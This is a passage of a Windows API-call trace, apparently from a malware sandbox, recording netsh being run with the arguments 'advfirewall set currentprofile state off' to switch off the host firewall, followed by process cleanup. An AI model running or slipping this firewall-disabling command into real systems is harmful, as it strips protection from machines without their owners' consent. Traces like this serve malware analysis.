0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ff6a0) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef310) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef470 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef310 [0131.116] wcscpy_s (in: _Destination=0x11aa58ef310, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef390) returned 1 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef510) returned 1 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef510 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f3460 [0131.116] wcscpy_s (in: _Destination=0x11aa58f3460, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3100) returned 1 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef3d0) returned 1 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x30) returned 0x11aa58f2730 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef7d0 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef530 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f32d0 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e) returned 0x11aa58ff820 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef570 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f3400 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef810 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58ef810, Size=0xe) returned 0x11aa58ef390 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58ef390, Size=0x24) returned 0x11aa58ff670 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58ff670, Size=0x26) returned 0x11aa58ff640 [0131.116] GetProcessHeap () returned 0x11aa58a0000 [0131.116] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58ff640, Size=0x2c) returned 0x11aa58f2f70 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f2f70, Size=0x2e) returned 0x11aa58f2870 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f2870, Size=0x4a) returned 0x11aa58f44d0 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f44d0, Size=0x4c) returned 0x11aa58f41d0 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f41d0, Size=0x56) returned 0x11aa58f4230 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f4230, Size=0x58) returned 0x11aa58f4050 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlReAllocateHeap (Heap=0x11aa58a0000, Flags=0x0, Ptr=0x11aa58f4050, Size=0x5e) returned 0x11aa58bd2e0 [0131.117] GetProcessHeap () returned 0x11aa58a0000 [0131.117] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bd2e0) returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="namespace") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="branchcache") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="advfirewall") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="firewall") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="interface") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="dhcp") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="dnsclient") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="routing") returned -1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="ip") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="ipv6") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="aaaa") returned 1 [0131.117] lstrcmpiW (lpString1="netsh", lpString2="ras") returned -1 [0131.118] _wcsnicmp (_String1="advfirewall", _String2="dump", _MaxCount=0xb) returned -3 [0131.118] _wcsnicmp (_String1="advfirewall", _String2="help", _MaxCount=0xb) returned -7 [0131.118] _wcsnicmp (_String1="advfirewall", _String2="?", _MaxCount=0xb) returned 34 [0131.118] _wcsnicmp (_String1="advfirewall", _String2="exec", _MaxCount=0xb) returned -4 [0131.118] _wcsnicmp (_String1="advfirewall", _String2="advfirewall", _MaxCount=0xb) returned 0 [0131.118] lstrcmpiW (lpString1="advfirewall", lpString2="namespace") returned -1 [0131.118] lstrcmpiW (lpString1="advfirewall", lpString2="branchcache") returned -1 [0131.118] lstrcmpiW (lpString1="advfirewall", lpString2="advfirewall") returned 0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef810 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef850 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x5e) returned 0x11aa5902960 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef930 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef390 [0131.118] wcscpy_s (in: _Destination=0x11aa58ef390, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef3d0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58b1240 [0131.118] wcscpy_s (in: _Destination=0x11aa58b1240, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa5900ba0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f32f0 [0131.118] wcscpy_s (in: _Destination=0x11aa58f32f0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa5900d20 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e) returned 0x11aa58ff580 [0131.118] wcscpy_s (in: _Destination=0x11aa58ff580, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa5900860 [0131.118] GetProcessHeap () returned 0x11aa58a0000 [0131.118] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa5900a20 [0131.118] wcscpy_s (in: _Destination=0x11aa5900a20, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa5900b00 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f31f0 [0131.119] wcscpy_s (in: _Destination=0x11aa58f31f0, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa5902960) returned 1 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef850) returned 1 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1240) returned 1 [0131.119] GetProcessHeap () returned 0x11aa58a0000 [0131.119] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa59006e0 [0131.119] lstrcmpiW (lpString1="advfirewall", lpString2="routing") returned -1 [0131.119] lstrcmpiW (lpString1="advfirewall", lpString2="ip") returned -1 [0131.119] lstrcmpiW (lpString1="advfirewall", lpString2="ipv6") returned -1 [0131.119] lstrcmpiW (lpString1="advfirewall", lpString2="aaaa") returned 1 [0131.119] lstrcmpiW (lpString1="advfirewall", lpString2="ras") returned -1 [0131.119] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15 [0131.119] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11 [0131.119] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52 [0131.119] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1 [0131.119] _wcsnicmp (_String1="set", _String2="imp", _MaxCount=0x3) returned 10 [0131.119] _wcsnicmp (_String1="set", _String2="exp", _MaxCount=0x3) returned 14 [0131.119] _wcsnicmp (_String1="set", _String2="con", _MaxCount=0x3) returned 16 [0131.119] _wcsnicmp (_String1="set", _String2="fir", _MaxCount=0x3) returned 13 [0131.119] _wcsnicmp (_String1="set", _String2="mai", _MaxCount=0x3) returned 6 [0131.119] _wcsnicmp (_String1="set", _String2="mon", _MaxCount=0x3) returned 6 [0131.119] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0 [0131.119] _wcsnicmp (_String1="currentprofile", _String2="help", _MaxCount=0xe) returned -5 [0131.119] _wcsnicmp (_String1="currentprofile", _String2="?", _MaxCount=0xe) returned 36 [0131.119] wcstok (in: _String="domainprofile", _Delimiter=" ", _Context=0x10634fc2590 | out: _String="domainprofile", _Context=0x10634fc2590) returned="domainprofile" [0131.119] _wcsnicmp (_String1="currentprofile", _String2="domainprofile", _MaxCount=0xe) returned -1 [0131.119] wcstok (in: _String="privateprofile", _Delimiter=" ", _Context=0x10634fc2560 | out: _String="privateprofile", _Context=0x10634fc2560) returned="privateprofile" [0131.119] _wcsnicmp (_String1="currentprofile", _String2="privateprofile", _MaxCount=0xe) returned -13 [0131.119] wcstok (in: _String="publicprofile", _Delimiter=" ", _Context=0x10634fc25c0 | out: _String="publicprofile", _Context=0x10634fc25c0) returned="publicprofile" [0131.119] _wcsnicmp (_String1="currentprofile", _String2="publicprofile", _MaxCount=0xe) returned -13 [0131.119] wcstok (in: _String="currentprofile", _Delimiter=" ", _Context=0x10634fc25f0 | out: _String="currentprofile", _Context=0x10634fc25f0) returned="currentprofile" [0131.120] _wcsnicmp (_String1="currentprofile", _String2="currentprofile", _MaxCount=0xe) returned 0 [0131.120] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65 | out: _String=0x0, _Context=0x65) returned 0x0 [0131.120] lstrcmpiW (lpString1="advfirewall", lpString2="netsh") returned -1 [0131.120] LdrStandardizeSystemPath () returned 0x7ff6f9abbfc4 [0134.339] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0x14708ef640, cchBufferMax=16384 | out: lpBuffer="Ok.\n") returned 0x4 [0134.339] FormatMessageW (in: dwFlags=0x500, lpSource=0x14708ef640, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x14708ef620, nSize=0x0, Arguments=0x14708ef630 | out: lpBuffer="\xda0\xa590\x11a") returned 0x5 [0134.339] GetStdHandle (nStdHandle=0xfffffff5) returned 0x274 [0134.339] GetConsoleOutputCP () returned 0x1b5 [0134.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0134.340] GetProcessHeap () returned 0x11aa58a0000 [0134.340] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x6) returned 0x11aa58f33c0 [0134.340] GetConsoleOutputCP () returned 0x1b5 [0134.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x11aa58f33c0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6 [0134.340] WriteFile (in: hFile=0x274, lpBuffer=0x11aa58f33c0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x14708ef5d0, lpOverlapped=0x0 | out: lpBuffer=0x11aa58f33c0*, lpNumberOfBytesWritten=0x14708ef5d0*=0x5, lpOverlapped=0x0) returned 1 [0134.340] GetProcessHeap () returned 0x11aa58a0000 [0134.340] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f33c0) returned 1 [0134.340] LocalFree (hMem=0x11aa5900da0) returned 0x0 [0134.340] FormatMessageW (in: dwFlags=0x500, lpSource=0x7ff6f9abb80c, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x14708f7650, nSize=0x0, Arguments=0x14708f7660 | out: lpBuffer="\xbe0\xa590\x11a") returned 0x2 [0134.341] GetStdHandle (nStdHandle=0xfffffff5) returned 0x274 [0134.341] GetConsoleOutputCP () returned 0x1b5 [0134.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x3) returned 0x11aa58f3330 [0134.341] GetConsoleOutputCP () returned 0x1b5 [0134.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x11aa58f3330, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0134.341] WriteFile (in: hFile=0x274, lpBuffer=0x11aa58f3330*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14708f7600, lpOverlapped=0x0 | out: lpBuffer=0x11aa58f3330*, lpNumberOfBytesWritten=0x14708f7600*=0x2, lpOverlapped=0x0) returned 1 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3330) returned 1 [0134.341] LocalFree (hMem=0x11aa5900be0) returned 0x0 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef7d0) returned 1 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef530) returned 1 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f32d0) returned 1 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ff820) returned 1 [0134.341] GetProcessHeap () returned 0x11aa58a0000 [0134.341] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef570) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3400) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f2730) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef210) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef7b0) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3140) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef3f0) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ff7c0) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef410) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef310) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef470) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3460) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef510) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef750) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef590) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef2f0) returned 1 [0134.342] GetProcessHeap () returned 0x11aa58a0000 [0134.342] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef370) returned 1 [0134.460] GetProcessHeap () returned 0x11aa58a0000 [0134.460] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f5010) returned 1 [0134.460] FreeLibrary (hLibModule=0x7ff6f9ab0000) returned 1 [0134.460] FreeLibrary (hLibModule=0x7ffcb76b0000) returned 1 [0134.461] FreeLibrary (hLibModule=0x7ffcb6ba0000) returned 1 [0134.631] free (_Block=0x11aa5b86e00) [0134.632] LocalFree (hMem=0x11aa58c2e40) returned 0x0 [0134.632] LocalFree (hMem=0x11aa58c1520) returned 0x0 [0134.632] LocalFree (hMem=0x11aa58a5390) returned 0x0 [0134.632] LocalFree (hMem=0x11aa58b9390) returned 0x0 [0134.632] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x11aa58c2e40 [0134.632] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x11aa58ff790 [0134.632] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x11aa58ffb20 [0134.632] free (_Block=0x11aa5b81730) [0134.632] free (_Block=0x0) [0134.632] free (_Block=0x11aa5b81710) [0134.632] free (_Block=0x11aa5b81750) [0134.632] free (_Block=0x11aa5b86de0) [0134.633] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x11aa58fed10 [0134.673] LocalFree (hMem=0x11aa58fed10) returned 0x0 [0134.673] LocalFree (hMem=0x11aa58c3190) returned 0x0 [0134.673] LocalFree (hMem=0x11aa58c2e40) returned 0x0 [0134.673] free (_Block=0x11aa5b85520) [0134.674] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7ffcc0bb0000 [0134.674] FreeLibrary (hLibModule=0x7ffcc0bb0000) returned 1 [0134.674] LocalFree (hMem=0x11aa58ffb20) returned 0x0 [0134.674] LocalFree (hMem=0x11aa58ff790) returned 0x0 [0134.674] GlobalHandle (pMem=0x11aa58c2c20) returned 0x11aa7330008 [0134.674] GlobalUnlock (hMem=0x11aa7330008) returned 0 [0134.678] FreeLibrary (hLibModule=0x7ffcb6480000) returned 1 [0134.680] FreeLibrary (hLibModule=0x7ffcb75a0000) returned 1 [0134.681] FreeLibrary (hLibModule=0x7ffcb6f40000) returned 1 [0134.687] FreeLibrary (hLibModule=0x7ffcb63a0000) returned 1 [0134.688] FreeLibrary (hLibModule=0x7ffcb7590000) returned 1 [0134.715] FreeLibrary (hLibModule=0x7ffcb5cd0000) returned 1 [0134.718] FreeLibrary (hLibModule=0x7ffca7a80000) returned 1 [0134.769] FreeLibrary (hLibModule=0x7ffcb6ca0000) returned 1 [0134.769] FreeLibrary (hLibModule=0x7ffca79c0000) returned 1 [0134.969] FreeLibrary (hLibModule=0x7ffca7530000) returned 1 [0134.970] FreeLibrary (hLibModule=0x7ffca7980000) returned 1 [0134.973] FreeLibrary (hLibModule=0x7ffcb6570000) returned 1 [0134.975] FreeLibrary (hLibModule=0x7ffcb5a70000) returned 1 [0134.976] FreeLibrary (hLibModule=0x7ffcb6420000) returned 1 [0134.976] FreeLibrary (hLibModule=0x7ffca41c0000) returned 1 [0135.018] FreeLibrary (hLibModule=0x7ffcb6390000) returned 1 [0135.021] FreeLibrary (hLibModule=0x7ffcaaab0000) returned 1 [0135.024] FreeLibrary (hLibModule=0x7ffca3e90000) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ead60) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aed20) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aed00) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeec0) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeba0) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeb80) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeaa0) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae9a0) returned 1 [0135.075] GetProcessHeap () returned 0x11aa58a0000 [0135.075] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae940) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aed40) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeee0) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeb00) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeb20) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58af000) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aea20) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aec80) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeea0) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aea40) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aef00) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aef80) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aed60) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aef20) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aee80) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeae0) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 